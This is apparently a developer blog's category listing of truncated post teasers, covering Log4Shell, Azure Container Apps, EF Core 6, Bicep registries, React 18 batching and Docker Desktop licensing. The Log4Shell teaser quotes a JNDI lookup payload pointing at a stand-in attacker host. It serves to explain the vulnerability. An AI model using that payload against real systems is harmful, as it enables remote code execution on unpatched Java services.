Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]
Read more →Category: Emerging Technologies
Emerging technologies include a variety of technologies such as educational technology, information technology, nanotechnology, biotechnology, cognitive science, psychotechnology, robotics, and artificial intelligence.
Azure Container Apps is GA
Azure Container Apps (ACA) is now Generally Available. It provides serverless containers without managing Kubernetes, with built-in KEDA scaling and Dapr integration. When to Use ACA vs AKS Feature ACA AKS Control Plane Management Fully Managed Self Managed Scale to Zero ✅ Yes Requires KEDA Custom CRDs ❌ No ✅ Yes Key Takeaways Use ACA […]
Read more →Top 5 Features of Entity Framework Core 6
EF Core 6 ships with .NET 6 and brings several performance and usability improvements. Here are the highlights. 1. Compiled Models Pre-compile your model to avoid expensive startup reflection. 2. Temporal Tables (SQL Server) 3. Pre-Convention Model Configuration Apply conventions like “all strings max 256” globally. 4. Migration Bundles Package migrations as executables for CI/CD. […]
Read more →Azure Bicep: Private Registry Support
Bicep modules can now be published to a **Private Azure Container Registry (ACR)**, enabling enterprise-scale sharing and versioning of infrastructure templates. Publishing a Module Consuming from Registry Key Takeaways Versioning (`v1.0`) enables safe rollouts and rollbacks. Authenticate using `az login` or a Service Principal in CI/CD.
Read more →React 18 Alpha: Automatic Batching
React 18 (in alpha at this time) introduces **Automatic Batching**. Previously, React only batched state updates inside event handlers. Now it batches everywhere—setTimeout, Promises, native events. Before React 18 After React 18 Key Takeaways Use `flushSync` if you explicitly need an immediate render. This reduces rendering overhead significantly in complex apps.
Read more →Docker Desktop Licensing: What Now?
Docker changed its licensing: Docker Desktop is now paid for companies with 250+ employees or $10M+ revenue. This shook the developer world.””” Alternatives **Rancher Desktop**: Free, uses containerd or dockerd, runs on Lima (macOS) or WSL2 (Windows). **Podman Desktop**: Daemonless, rootless, open-source. **Colima (macOS)**: Lightweight alternative using Lima. Rancher Desktop Setup Key Takeaways For startups/individuals, […]
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